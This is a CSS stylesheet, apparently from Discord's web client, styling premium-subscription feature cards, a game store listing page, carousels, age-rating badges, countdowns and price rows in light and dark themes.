.feature-2w65J5 { border-radius: 8px; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; min-height: 233px; padding: 16px 16px 0px; text-align: center; box-sizing: border-box; position: relative; }

.feature-2w65J5 .featureNewBadge-24rCe6 { top: -4px; left: -4px; position: absolute; }

.featureDescription-1wp-zJ { margin-top: 4px; }

.featureChildrenWrapper-smz30S, .featureImageWrapper-pPDLjm { display: flex; -webkit-box-flex: 1; flex: 1 1 0%; }

.featureVideoBackgrounds-1vBoZR .featureImageWrapper-pPDLjm { margin: 16px 0px; }

.featureEmoji-3pTtR2 .featureImageWrapper-pPDLjm, .featureVideoBackgrounds-1vBoZR .featureImageWrapper-pPDLjm { -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; }

.featureEmoji-3pTtR2 .featureImage-2L9kA0, .featureVideoBackgrounds-1vBoZR .featureImage-2L9kA0 { width: 172px; }

.featureProfile-tTo0C- .featureImageWrapper-pPDLjm { -webkit-box-align: end; align-items: flex-end; -webkit-box-pack: center; justify-content: center; }

.featureProfile-tTo0C- .featureImage-2L9kA0 { width: 144px; }

.featurePremiumGuild-2KpCr6 .featureImageWrapper-pPDLjm { align-self: flex-start; -webkit-box-align: end; align-items: flex-end; -webkit-box-pack: end; justify-content: flex-end; }

.featurePremiumGuild-2KpCr6 .featureImage-2L9kA0 { width: 190px; }

.featurePremiumGuild-2KpCr6 .featureTitle-W5O6R1 { color: rgb(92, 135, 255); }

.featureBadge-3ZA-Ca .featureImageWrapper-pPDLjm { align-self: flex-start; -webkit-box-align: end; align-items: flex-end; -webkit-box-pack: end; justify-content: flex-end; }

.featureBadge-3ZA-Ca .featureImage-2L9kA0 { width: 190px; }

.featureUploadSize-2CAVFL .featureTitle-W5O6R1 { color: rgb(119, 107, 255); }

.featureUploadSize-2CAVFL .featureImageWrapper-pPDLjm { -webkit-box-align: end; align-items: flex-end; -webkit-box-pack: center; justify-content: center; }

.featureUploadSize-2CAVFL .featureImage-2L9kA0 { width: 172px; }

.featureGoLive-30cvVw .featureTitle-W5O6R1 { color: rgb(250, 78, 137); }

.featureGoLive-30cvVw .featureImageWrapper-pPDLjm { -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; }

.featureGoLive-30cvVw .featureImage-2L9kA0 { width: 172px; }

.learnMoreLink-21wlRq { cursor: pointer; text-decoration: underline; }

.itemInfoIcon-3tr1nj { width: 12px; height: 12px; position: relative; top: 1px; }

.featureMoreServers-14Thw5 .featureImage-2L9kA0, .featurePerGuildAvatar-2_iyrl .featureImage-2L9kA0 { display: block; margin: 0px auto; }

.featureMoreServers-14Thw5 .featureImage-2L9kA0 { width: 132px; height: 132px; margin-top: 8px; }

.featurePerGuildAvatar-2_iyrl .featureImage-2L9kA0 { width: 179px; height: 96px; margin-top: 16px; }

.featurePerGuildProfile-2Ii3Jr .featureImageWrapper-pPDLjm { position: absolute; bottom: 0px; left: 50%; transform: translateX(-50%); }

.featurePerGuildProfile-2Ii3Jr .featureImage-2L9kA0 { width: 195px; height: 127px; margin-top: 8px; }

.featureLongerMessageContent-1RADxx .featureImage-2L9kA0 { width: 100%; }

.stickers-1O9_W6 .featureTitle-W5O6R1 { color: rgb(92, 135, 255); }

.stickers-1O9_W6 .featureImage-2L9kA0 { width: 177px; height: 88px; margin-top: 7px; margin-bottom: 16px; }

.newSparkles-1I8M41 { display: inline-block; width: 47px; height: 34px; vertical-align: middle; margin: -12px 4px -4px -8px; }

.theme-light .feature-2w65J5 { background-color: rgb(255, 255, 255); box-shadow: var(--elevation-medium); border: 1px solid var(--background-modifier-accent); }

.theme-light .featureVideoBackgrounds-1vBoZR .featureTitle-W5O6R1 { color: rgb(189, 22, 156); }

.theme-light .featureLongerMessageContent-1RADxx .featureTitle-W5O6R1 { color: rgb(46, 51, 56); }

.theme-light .featureEmoji-3pTtR2 .featureTitle-W5O6R1 { color: rgb(208, 130, 12); }

.theme-light .featureProfile-tTo0C- .featureTitle-W5O6R1 { color: rgb(34, 167, 119); }

.theme-light .featureMoreServers-14Thw5 .featureTitle-W5O6R1 { color: rgb(165, 126, 248); }

.theme-light .featureBadge-3ZA-Ca .featureTitle-W5O6R1 { color: rgb(225, 91, 225); }

.theme-light .featurePerGuildAvatar-2_iyrl .featureTitle-W5O6R1 { color: rgb(195, 114, 200); }

.theme-light .featurePerGuildProfile-2Ii3Jr .featureTitle-W5O6R1 { color: rgb(226, 146, 170); }

.theme-dark .feature-2w65J5 { background-color: var(--background-secondary-alt); }

.theme-dark .featureVideoBackgrounds-1vBoZR .featureTitle-W5O6R1 { color: rgb(251, 95, 220); }

.theme-dark .featureLongerMessageContent-1RADxx .featureTitle-W5O6R1 { color: rgb(255, 216, 54); }

.theme-dark .featureEmoji-3pTtR2 .featureTitle-W5O6R1 { color: rgb(255, 166, 0); }

.theme-dark .featureProfile-tTo0C- .featureTitle-W5O6R1 { color: rgb(0, 224, 167); }

.theme-dark .featureMoreServers-14Thw5 .featureTitle-W5O6R1 { color: rgb(165, 126, 248); }

.theme-dark .featureBadge-3ZA-Ca .featureTitle-W5O6R1 { color: rgb(255, 175, 255); }

.theme-dark .sparkle-1qyWC9 { color: rgb(255, 255, 255); }

.theme-dark .featurePerGuildAvatar-2_iyrl .featureTitle-W5O6R1, .theme-dark .featurePerGuildProfile-2Ii3Jr .featureTitle-W5O6R1 { color: rgb(226, 146, 170); }

.finePrintWithOverheadSeparator-2WCam2 { border-top: 1px solid var(--background-modifier-accent); margin-top: 32px; padding-top: 32px; line-height: 1.4; }

.finePrint-2ZgCke { line-height: 1.4; }

.premiumSubscriptionAccountCredit-25i0tQ { border-radius: 5px; padding: 8px 0px; background-color: var(--background-secondary); }

.accountCreditRow-SHgyi0 { display: flex; padding: 8px 16px; }

.accountCreditRow-SHgyi0:not(:last-child) { padding-bottom: 16px; border-bottom: 1px solid var(--background-modifier-accent); }

.iconBackground-31rJvE { padding: 4px; border-radius: 4px; display: flex; -webkit-box-pack: center; justify-content: center; -webkit-box-align: center; align-items: center; align-self: center; }

.iconBackgroundTier1-2GOcU8 { background-image: linear-gradient(45deg,hsl(244,calc(var(--saturation-factor, 1)*100%),84.1%),hsl(228,calc(var(--saturation-factor, 1)*86.7%),70.6%)); }

.iconBackgroundTier2-2TeI3a { background-image: linear-gradient(45deg,hsl(270,calc(var(--saturation-factor, 1)*86.7%),70.6%),hsl(342,calc(var(--saturation-factor, 1)*58%),72.9%)); }

.icon-3sGKXp { width: 24px; height: 24px; color: rgb(255, 255, 255); }

.rowDetails-1SvMsB { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-pack: center; justify-content: center; -webkit-box-flex: 1; flex: 1 1 0%; margin: 0px 8px; }

.rowApplied-3NfPr1 { font-weight: 400; }

.rowCreditCount-DCSjaQ { align-self: center; font-weight: 600; color: var(--interactive-normal); }

.container-3hJah8 { -webkit-box-flex: 1; flex: 1 1 0%; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; box-sizing: border-box; }

.container-3hJah8, .loading-2h_lbn { display: flex; }

.loading-2h_lbn { -webkit-box-pack: center; justify-content: center; -webkit-box-align: center; align-items: center; height: 520px; }

.background-1x1RRp { position: absolute; inset: 0px; background-repeat: no-repeat; }

.content-2rHwqL { position: relative; }

.subSectionHeader-N-hnka { text-transform: uppercase; }

.sectionAccountCredit-2-BmhN, .subscriptionDetails-1pYrMz { padding-bottom: 40px; margin-bottom: 40px; border-bottom: 1px solid; }

.accountCredit-3kfYY9 { margin-top: 16px; }

.accountCreditTitle-Gprf_B { margin-bottom: 16px; }

.accountCreditDescription-iqLTBT { color: var(--text-normal); line-height: 20px; margin-bottom: 16px; margin-top: 0px; }

.cardText-2rQaHq { padding-left: 8px; }

.noItemsCard-3TSAgO { font-size: 16px; font-weight: 500; line-height: 20px; margin-top: 16px; padding: 16px 19px; border: none; color: var(--interactive-active); background-color: var(--background-secondary); }

.theme-light .sectionAccountCredit-2-BmhN, .theme-light .subscriptionDetails-1pYrMz { border-color: rgba(185, 187, 190, 0.3); }

.theme-dark .sectionAccountCredit-2-BmhN, .theme-dark .subscriptionDetails-1pYrMz { border-color: rgba(114, 118, 125, 0.3); }

.theme-dark .noItemsIcon-ygEH8z { background: rgb(79, 84, 92); }

.headerBar-1YYOfi::before { content: ""; position: absolute; display: block; bottom: 0px; left: 0px; right: 0px; height: 1px; box-shadow: var(--elevation-low); z-index: 1; pointer-events: none; }

.homeBody-3SD9SR { box-sizing: border-box; max-width: 1245px; padding: 0px 20px; width: 100%; margin: 0px auto; }

.scroller-9moviB { background-color: var(--background-primary); contain: size layout; }

.categoryHeader-1D7Tqy { -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; border-bottom-width: 1px; border-style: solid; padding-bottom: 10px; margin: 32px 0px 20px; font-weight: 500; font-size: 16px; }

.categoryHeader-1D7Tqy, .viewAllGamesButton-bY6nOl { display: flex; }

.viewAllGamesButton-bY6nOl { margin: 20px auto 40px; -webkit-box-pack: center; justify-content: center; }

.viewAllGamesButton-bY6nOl:hover .viewAllIcon-1NItEP { transform: rotate(-90deg) translateY(3px); }

.viewAllGames-3LNpt1, .viewAllGamesButtonInner-2z4OXI, .viewAllNitroGames-3v3cAi { display: flex; -webkit-box-align: center; align-items: center; }

.viewAllGames-3LNpt1, .viewAllNitroGames-3v3cAi { font-size: 16px; cursor: pointer; transition: transform 0.2s ease 0s, -webkit-transform 0.2s ease 0s; }

.viewAllGames-3LNpt1:hover .viewAllIcon-1NItEP, .viewAllNitroGames-3v3cAi:hover .viewAllIcon-1NItEP { transform: rotate(-90deg) translateY(3px); }

.viewAllIcon-1NItEP { width: 20px; height: 20px; }

.homeTile-3qVuGa { margin: 0px 10px; }

.homeTile-3qVuGa:first-child { margin-left: 0px; }

.homeTile-3qVuGa:last-child { margin-right: 0px; }

.spinner-3POzOM { margin-top: 40px; margin-bottom: 40px; }

.homeWrapper-3-Wh5T { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.homeWrapperNormal-2KSUEa { height: 100%; }

.marketingWrapper-2TD9Zv { flex-shrink: 0; }

.premiumApplicationsHeader-Zmkm5e { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; border-bottom-width: 1px; border-style: solid; padding-bottom: 10px; margin: 32px 0px 20px; font-weight: 500; font-size: 16px; }

.headerBar-1YYOfi { transform: translateZ(0px); }

.premiumContainer-2Iux5m { position: relative; padding: 60px 40px 80px; max-width: 660px; min-width: 460px; -webkit-box-flex: 1; flex: 1 1 auto; margin: 0px auto; }

.theme-dark .categoryHeader-1D7Tqy, .theme-dark .premiumApplicationsHeader-Zmkm5e { color: rgb(255, 255, 255); border-color: rgb(79, 84, 92); }

.theme-dark .viewAllGames-3LNpt1 { color: rgb(255, 255, 255); }

.theme-light .categoryHeader-1D7Tqy, .theme-light .premiumApplicationsHeader-Zmkm5e { color: rgb(0, 0, 0); border-color: rgb(220, 221, 222); }

.theme-light .viewAllGames-3LNpt1 { color: rgb(0, 0, 0); }

@media (min-width: 849px) {
  .categoryHeader-1D7Tqy, .premiumApplicationsHeader-Zmkm5e { -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; -webkit-box-pack: justify; place-content: center space-between; }
}

.divider-21LyPb { border-bottom: 1px solid; margin-bottom: 20px; }

.theme-light .divider-21LyPb { border-color: rgba(220, 221, 222, 0.6); }

.theme-dark .divider-21LyPb { border-color: rgba(47, 49, 54, 0.6); }

.contentRating-vVpg2G { flex-shrink: 0; background-size: cover; background-repeat: no-repeat; background-position: 50% center; }

.esrb-3wYCg9 { width: 40px; height: 54px; }

.pegi-1o7c-g { width: 40px; height: 49px; }

.esrbEveryone-1dzGF6 { background-image: url("https://discord.com/assets/53f55b3440fdb173157bc186ad55d8df.svg"); }

.esrbEveryoneTenPlus-2ZAnky { background-image: url("https://discord.com/assets/a8a60a0c769ac617b7d45ce6dfd6d868.svg"); }

.esrbTeen-2h1lXd { background-image: url("https://discord.com/assets/a5c938bf1cae59967224bba5de081444.svg"); }

.esrbMature-2jZOEq { background-image: url("https://discord.com/assets/322e40dbe0a53b42e24e55d3dde27302.svg"); }

.esrbAdult-qtxzsD { background-image: url("https://discord.com/assets/74b81ba39f1fcffeb127f170caa3c77a.svg"); }

.esrbRatingPending-jFYtJn { width: 40px; height: 60px; background-image: url("https://discord.com/assets/e37ba1ce8c91cdcc5527a94624164b86.svg"); }

.pegiThree-2dnjtY { background-image: url("https://discord.com/assets/c88a796414967a623877f9db65fb573e.svg"); }

.pegiSeven-3AFD82 { background-image: url("https://discord.com/assets/c2444dcd61013024fb748a60011e6795.svg"); }

.pegiTwelve-1JqdtA { background-image: url("https://discord.com/assets/300e087e19801f66245a07a278a9feef.svg"); }

.pegiSixteen-2LI_Mq { background-image: url("https://discord.com/assets/0d6eb13777b695b3992f378496d25c1a.svg"); }

.pegiEighteen-3WQT17 { background-image: url("https://discord.com/assets/6af2bcd8d8a9214369181eb73a6ea2bf.svg"); }

.content-1zhNsr { font-size: 12px; line-height: 1.5; margin-right: 20px; user-select: text; -webkit-box-flex: 1; flex: 1 1 0%; }

.rating-3zQia4 { margin-right: 12px; }

.theme-dark .content-1zhNsr { color: rgb(114, 118, 125); }

.theme-light .content-1zhNsr { color: rgb(185, 187, 190); }

.collapsed-1454et { max-height: 300px; overflow: hidden; -webkit-mask: linear-gradient(rgb(0, 0, 0) 240px, transparent); }

.blurb-1iBKJy { font-size: 16px; line-height: 20px; user-select: text; }

.description-1AwRKJ { margin-top: 20px; font-size: 15px; line-height: 1.4; }

.toggleCollapseButton-2wffKu { width: 100%; margin-top: 20px; }

.assetWrapper-2Qw_5D { border-radius: 3px; margin: 20px 0px; overflow: hidden; transform: translateZ(0px); }

.assetWrapper-2Qw_5D img { border-radius: 0px; }

.asset-3V-FUM { max-width: 100%; display: block; margin: 0px auto; }

.theme-dark .blurb-1iBKJy { color: rgb(220, 221, 222); }

.theme-dark .description-1AwRKJ { color: rgb(185, 187, 190); }

.theme-light .blurb-1iBKJy { color: rgb(54, 57, 63); }

.theme-light .description-1AwRKJ { color: rgb(114, 118, 125); }

@media (min-width: 640px) {
  .toggleCollapseButton-2wffKu { width: inherit; }
}

.features-_IOqVv { margin-bottom: 40px; user-select: text; }

.row-1bU71H { -webkit-box-align: center; align-items: center; display: flex; font-size: 15px; line-height: 16px; padding: 8px; border-radius: 3px; margin-bottom: 2px; }

.row-1bU71H:last-child { margin-bottom: 0px; }

.checkmarkIcon-2EnYwn, .featureIcon-1f78KU { width: 24px; height: 24px; -webkit-box-flex: 0; flex: 0 0 auto; }

.featureText-2crhND { -webkit-box-flex: 1; flex: 1 1 0%; margin: 0px 8px; }

.checkmarkIcon-2EnYwn { color: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); }

.theme-dark .row-1bU71H { background-color: rgb(47, 49, 54); color: rgb(185, 187, 190); }

.theme-dark .featureIcon-1f78KU { color: rgb(185, 187, 190); }

.theme-light .row-1bU71H { background-color: rgb(255, 255, 255); color: rgb(114, 118, 125); }

.theme-light .featureIcon-1f78KU { color: rgb(114, 118, 125); }

.content-3FEARf { font-size: 12px; line-height: 1.5; margin-right: 20px; user-select: text; -webkit-box-flex: 1; flex: 1 1 0%; }

.theme-dark .content-3FEARf { color: rgb(114, 118, 125); }

.theme-light .content-3FEARf { color: rgb(185, 187, 190); }

.right-3LuawF { transform: rotate(90deg); }

.down-d6yAn2 { transform: rotate(180deg); }

.left-1sNJYj { transform: rotate(-90deg); }

.alignCenter-2ks2JT { margin: 0px auto; }

.alignLeft-3BQquR { margin: 0px; }

.horizontalPaginationItemContainer-26FwrR { display: flex; -webkit-box-flex: initial; flex: initial; -webkit-box-align: center; align-items: center; overflow: auto hidden; }

.verticalPaginationItemContainer-3buRwR { overflow-y: hidden; }

.arrow-2ZP1wS { width: 26px; height: 26px; }

.arrow-2ZP1wS, .arrowContainer-10m4Cy { pointer-events: all; box-sizing: border-box; }

.arrowContainer-10m4Cy { position: absolute; top: 50%; transform: translateY(-50%); width: 50px; height: 50px; color: rgb(246, 246, 247); line-height: 0; cursor: pointer; font-size: 0px; }

.prevButtonContainer-Rc83MJ { left: 4px; }

.nextButtonContainer-30eXDb { right: 4px; }

@media (max-width: 600px) {
  .prevButtonContainer-Rc83MJ { left: 5%; }
  .nextButtonContainer-30eXDb { right: 5%; }
}

.item-3V15ea { font-size: 3em; box-sizing: border-box; width: 100%; height: 100%; cursor: pointer; transition: filter 0.2s ease 0s, -webkit-filter 0.2s ease 0s; border-radius: 3px; overflow: hidden; transform: translateZ(0px); }

.currentItem-UAeoVQ { cursor: default; }

.itemImage-2Y74no { width: 100%; height: 100%; object-fit: contain; }

.currentImage-3bYzZH { cursor: zoom-in; }

.itemImageWrapper-1ig0yT { width: 100%; height: 100%; }

.itemVideo-1NRzca { cursor: pointer; }

.paginationItem-3-iI7C { width: 130px; height: 73px; margin-right: 20px; position: relative; opacity: 0.6; touch-action: manipulation; }

.paginationItem-3-iI7C:last-child { margin-right: 0px; }

.storePaginationImg-2P8SMo { width: 130px; height: 73px; object-fit: cover; border-radius: 3px; }

.selectedStorePaginationItem-2t23h9 { opacity: 1; }

.unselectedStorePaginationItem-3alXda:hover { opacity: 0.8; transition: opacity 0.3s ease 0s; cursor: pointer; }

.overlappingBorder-1-XPGl { border: 3px solid var(--brand-experiment-500); border-radius: 3px; }

.overlappingBorder-1-XPGl, .paginationVideoOverlay-2gIa1v { position: absolute; inset: 0px; }

.paginationVideoOverlay-2gIa1v { display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; }

.paginationVideoPlayPill-2lM3nS { padding: 8px; height: 40px; border-radius: 50%; }

.pagination-1iCa-F { margin: 20px auto; padding: 0px 20px; max-width: 920px; box-sizing: border-box; }

.carouselButtonsContainer-Rba2-D { position: relative; color: rgb(246, 246, 247); }

.arrow-3jRqK8 { background-color: rgb(24, 25, 28); border-radius: 50%; padding: 12px; opacity: 0.4; transition: opacity 0.2s ease-in-out 0s; }

.arrow-3jRqK8:hover, .arrowHovered-3mk8lq { opacity: 0.6; }

.scroller--qpKGq { padding-bottom: 24px; }

.video-38qD3Y { background: rgb(0, 0, 0); }

.mediaPlayer-3r_SRR, .video-38qD3Y, .videoWrapper-2nTcpi { width: 100% !important; height: 100% !important; }

.theme-dark .item-3V15ea, .theme-light .item-3V15ea { background-color: rgb(0, 0, 0); }

.wrapper-Dh-cqn { inset: 60px 110px; display: flex; -webkit-box-align: stretch; align-items: stretch; place-content: stretch center; -webkit-box-pack: center; cursor: zoom-out; }

.slide-2-GJd5, .wrapper-Dh-cqn { position: absolute; }

.slide-2-GJd5 { top: 0px; left: 0px; z-index: 0; width: 100%; height: 100%; object-fit: scale-down; }

.nav-i0puL6 { z-index: 1; opacity: 0.6; }

.nav-i0puL6:hover { opacity: 1; }

.nav-i0puL6:active { margin-top: 1px; }

.navPrev-2EwaYx { margin-left: -100px; }

.navNext-26RXCD { margin-right: -100px; }

.animator-US5i9g { position: relative; display: block; }

.item-5R5nmE { position: absolute; inset: 0px; }

.root-3tU4d2 { position: relative; overflow: hidden; }

.carousel-22Gq5X { z-index: 0; height: 100%; }

.carouselItem-RHizth { position: absolute; inset: 0px; }

.pagination-20ouY7 { height: 64px; pointer-events: none; }

.themedPagination-3v0Dnu { }

.arrowHitbox-2_hxtQ { background: transparent; pointer-events: all; cursor: pointer; }

.arrowHitbox-2_hxtQ:active .arrow-vOpU7R, .arrowHitbox-2_hxtQ:hover .arrow-vOpU7R { opacity: 1; }

.arrowHitboxPadding-2stwpJ { line-height: 0; padding: 20px; }

.arrow-vOpU7R { color: rgb(255, 255, 255); position: relative; opacity: 0.5; transition: opacity 0.2s ease-in-out 0s; }

.dots-3VxbPX { -webkit-box-flex: 0; flex-grow: 0; }

.dot-2Q_mMZ { width: 8px; height: 8px; margin-right: 8px; padding: 0px; background-color: rgb(255, 255, 255); border-radius: 4px; cursor: pointer; pointer-events: all; transform: translateZ(0px); }

.dotNormal-9wUKKy { opacity: 0.6; }

.dotNormal-9wUKKy:hover { opacity: 0.8; }

.dotSelected-3RYKgX { opacity: 1; }

.theme-dark .themedPagination-3v0Dnu .arrow-vOpU7R { color: rgb(255, 255, 255); }

.theme-dark .themedPagination-3v0Dnu .dot-2Q_mMZ { background-color: rgb(255, 255, 255); }

.theme-light .themedPagination-3v0Dnu .arrow-vOpU7R { color: rgb(79, 84, 92); }

.theme-light .themedPagination-3v0Dnu .dot-2Q_mMZ { background-color: rgb(79, 84, 92); }

.smallCarousel-2e0IQc, .smallCarouselItem-1rfKEJ { border-radius: 5px 5px 0px 0px; overflow: hidden; }

.smallCarousel-2e0IQc { background-color: rgb(0, 0, 0); }

.smallCarouselItem-1rfKEJ { height: 100%; }

.smallCarouselImage-2Qvg9S { width: 100%; height: 100%; object-fit: contain; cursor: zoom-in; }

.embedContainer-26S24y { width: 100%; height: 100%; display: flex; -webkit-box-pack: center; justify-content: center; background-color: rgb(24, 25, 28); }

.sizedToParent-3arRUS { width: 100% !important; height: 100% !important; }

.sizedToParent-3arRUS, .sizedToParent-3arRUS > video { border-radius: 0px; }

.matureListing-3tyHbV { position: relative; height: 100%; padding-bottom: 60px; }

.matureListing-3tyHbV::before { content: ""; position: absolute; display: block; top: -1px; left: 0px; right: 0px; height: 1px; box-shadow: var(--elevation-low); z-index: 1; pointer-events: none; }

.theme-light .matureListing-3tyHbV { background-color: rgb(255, 255, 255); }

.theme-dark .matureListing-3tyHbV { background-color: transparent; }

.countdown-2AUg9c, .unit-1m8KS3 { display: flex; }

.unit-1m8KS3 { -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; border: 1px solid; -webkit-box-flex: 1; flex: 1 1 0%; border-radius: 3px; padding: 4px; }

.unit-1m8KS3:not(:first-child) { margin-left: 8px; }

.unitClose-3p7axD, .unitNormal-S1JDT- { }

.unitClose-3p7axD { border-image-slice: 1; }

.duration-38ZM7M { width: 100%; text-align: center; font-size: 24px; line-height: 30px; letter-spacing: -0.02em; -webkit-mask: linear-gradient(0deg, transparent, rgb(0, 0, 0) 25%, rgb(0, 0, 0) 75%, transparent); }

.header-11pEmr { line-height: 16px; font-size: 12px; text-transform: uppercase; opacity: 0.6; }

.theme-dark .unitNormal-S1JDT-, .theme-light .unitNormal-S1JDT- { border-color: rgb(47, 49, 54); }

.theme-dark .unitClose-3p7axD, .theme-light .unitClose-3p7axD { border-image: linear-gradient(90deg,hsl(228,calc(var(--saturation-factor, 1)*86.7%),70.6%),hsl(244,calc(var(--saturation-factor, 1)*100%),84.1%)); }

.theme-dark .duration-38ZM7M, .theme-light .duration-38ZM7M { color: rgb(255, 255, 255); }

.theme-dark .header-11pEmr, .theme-light .header-11pEmr { color: rgb(185, 187, 190); }

.alternativeSkus-1IZIkB { flex-wrap: wrap; margin-top: -4px; }

.alternativeSku-2r0c9j, .alternativeSkus-1IZIkB { display: flex; }

.alternativeSku-2r0c9j { -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; padding: 4px 8px; font-size: 12px; line-height: 16px; border-radius: 4px; cursor: pointer; margin: 4px 4px 0px 0px; }

.alternativeSkuDefault-1yqWuK, .alternativeSkuSelected-3Qhw9n { }

.selectedIcon-1VX7G3 { width: 16px; height: 16px; margin-right: 4px; flex-shrink: 0; }

.theme-dark .alternativeSku-2r0c9j, .theme-light .alternativeSku-2r0c9j { color: rgb(255, 255, 255); }

.theme-dark .alternativeSkuSelected-3Qhw9n, .theme-light .alternativeSkuSelected-3Qhw9n { background-color: var(--brand-experiment); }

.theme-dark .alternativeSkuDefault-1yqWuK, .theme-light .alternativeSkuDefault-1yqWuK { background-color: rgb(79, 84, 92); }

.theme-dark .alternativeSkuDefault-1yqWuK:hover, .theme-light .alternativeSkuDefault-1yqWuK:hover { background-color: rgb(41, 43, 47); }

.info-1Emy1X { margin-left: 5px; }

.details-31ROOk { user-select: text; font-size: 15px; font-weight: 500; }

.row--Szcq7 { margin-top: 8px; line-height: 1.2; }

.theme-light h3.contentHeader-1R8tQ_ { color: rgb(220, 221, 222); }

.theme-dark .label-13UUcd, .theme-light .label-13UUcd { color: rgb(114, 118, 125); }

.theme-dark .info-1Emy1X, .theme-light .info-1Emy1X { color: rgb(220, 221, 222); }

.warning-n1YvYR { padding: 20px; border-radius: 3px; border: 1px solid; }

.warning-n1YvYR:not(:first-child) { margin-top: 20px; }

.title-3zfWaO { font-size: 20px; font-weight: 600; line-height: 1.2; }

.description-Gcecy9 { font-size: 15px; line-height: 1.33; color: rgb(185, 187, 190); margin-top: 8px; }

.description-Gcecy9 .link-249fAx, .description-Gcecy9 a { color: var(--text-link); }

.description-Gcecy9 .link-249fAx:hover, .description-Gcecy9 a:hover { text-decoration: underline; }

.theme-dark .red-2ChJaa, .theme-light .red-2ChJaa { border-color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.theme-dark .red-2ChJaa .title-3zfWaO, .theme-light .red-2ChJaa .title-3zfWaO { color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.theme-dark .yellow-2DRjXu, .theme-light .yellow-2DRjXu { border-color: hsl(38,calc(var(--saturation-factor, 1)*95.7%),54.1%); }

.theme-dark .yellow-2DRjXu .title-3zfWaO, .theme-light .yellow-2DRjXu .title-3zfWaO { color: var(--text-warning); }

.title-2xCQKy { font-size: 14px; font-weight: 600; line-height: 1.14; text-transform: uppercase; padding-top: 20px; margin-bottom: 12px; }

.title-2xCQKy:first-child { padding-top: 0px; }

.sku-epQEb_ { display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: justify; justify-content: space-between; padding: 8px 0px; cursor: pointer; }

.skuNormal-3h1es- { border-bottom: 1px solid transparent; }

.skuLast-WnrIv2, .skuNormal-3h1es- { }

.name-u2zgy7 { font-size: 15px; font-weight: 600; line-height: 1.24; }

.price-NUANu6 { font-size: 14px; line-height: 1.71; padding: 2px 8px; margin-left: 20px; border-radius: 3px; }

.collapseButton-32NMMH { margin-top: 20px; }

.theme-dark .title-2xCQKy, .theme-light .title-2xCQKy { color: rgb(246, 246, 247); }

.theme-dark .skuNormal-3h1es-, .theme-light .skuNormal-3h1es- { border-bottom-color: rgb(54, 57, 63); }

.theme-dark .sku-epQEb_:hover .name-u2zgy7, .theme-light .sku-epQEb_:hover .name-u2zgy7 { color: rgb(246, 246, 247); }

.theme-dark .name-u2zgy7, .theme-light .name-u2zgy7 { color: rgb(185, 187, 190); }

.theme-dark .price-NUANu6, .theme-light .price-NUANu6 { color: rgb(246, 246, 247); background-color: rgb(79, 84, 92); }

.section-foaVwT:first-child { border-radius: 3px 3px 0px 0px; }

.section-foaVwT:last-child { border-radius: 0px 0px 3px 3px; }

.header-2Fr7dn { font-size: 20px; font-weight: 500; border-radius: 3px 3px 0px 0px; }

.header-2Fr7dn + .bodySection-jqkkIP { border-top: none; }

.entitledHeader-3LRNDT { display: flex; -webkit-box-align: center; align-items: center; padding: 20px; cursor: pointer; }

.entitledHeaderIcon-nxWD70 { margin-right: 10px; }

.headerFancy-1AcCLF { }

.exclusiveHeader-1vnEtm { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-align: start; align-items: flex-start; padding: 16px; }

.exclusiveHeaderExclusive-2pT9JV { font-size: 8px; font-weight: 500; text-transform: uppercase; }

.exclusiveHeaderIcon-1v3uvk { width: auto; height: 24px; }

.premiumHeader-3aB1ow { display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: justify; justify-content: space-between; padding: 20px; }

.premiumHeaderIcon-bTc_nQ { width: auto; height: 18px; padding: 4px 2px; }

.premiumHeaderPrice-1F1CMD { font-size: 14px; font-weight: 600; line-height: 1.7; padding: 0px 8px; border-radius: 3px; }

.bodySection-jqkkIP { box-sizing: border-box; padding: 20px; border-top: 1px solid; }

.bodySection-jqkkIP:first-child { border-top: none; }

.bodySection-jqkkIP:empty { padding: 0px; border-top: none; }

.alternativeSkus-1Av0rq { margin: 10px 0px; }

.countdownSection-8BWHXa { margin-bottom: 20px; padding-bottom: 20px; border-bottom: 1px solid; }

.headerBar-3cOLpD { margin-bottom: 4px; }

.actionText-3EKWER { font-size: 14px; font-weight: 500; line-height: 1.14; text-transform: uppercase; }

.countdownHeader-latdKn { margin-bottom: 8px; }

.releaseDate-28xyN1 { margin-top: 12px; font-size: 14px; line-height: 18px; }

.price-4PDWNj { margin-bottom: 16px; }

.priceRow-2AWjHv { -webkit-box-align: center; align-items: center; display: flex; }

.priceSalePercentage-1WxDsw { border-radius: 3px; color: rgb(255, 255, 255); font-size: 16px; background-color: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); padding: 4px 6px; margin-left: 10px; }

.priceOriginalAmount-2ylj9i { text-decoration: line-through; font-size: 15px; color: rgb(185, 187, 190); }

.warning-2DA6zZ { margin-top: 20px; }

.dlcSection-jvKaVf { margin-top: 40px; }

.purchaseError-3jQvJF { font-size: 14px; line-height: 20px; margin-top: 8px; }

.secondaryBuyButton-2c9gx_ { margin-top: 8px; }

.theme-dark .entitledHeader-3LRNDT, .theme-light .entitledHeader-3LRNDT { background-color: rgb(79, 84, 92); color: rgb(220, 221, 222); }

.theme-dark .entitledHeader-3LRNDT:hover, .theme-light .entitledHeader-3LRNDT:hover { color: rgb(255, 255, 255); }

.theme-dark .purchaseError-3jQvJF, .theme-light .purchaseError-3jQvJF { color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

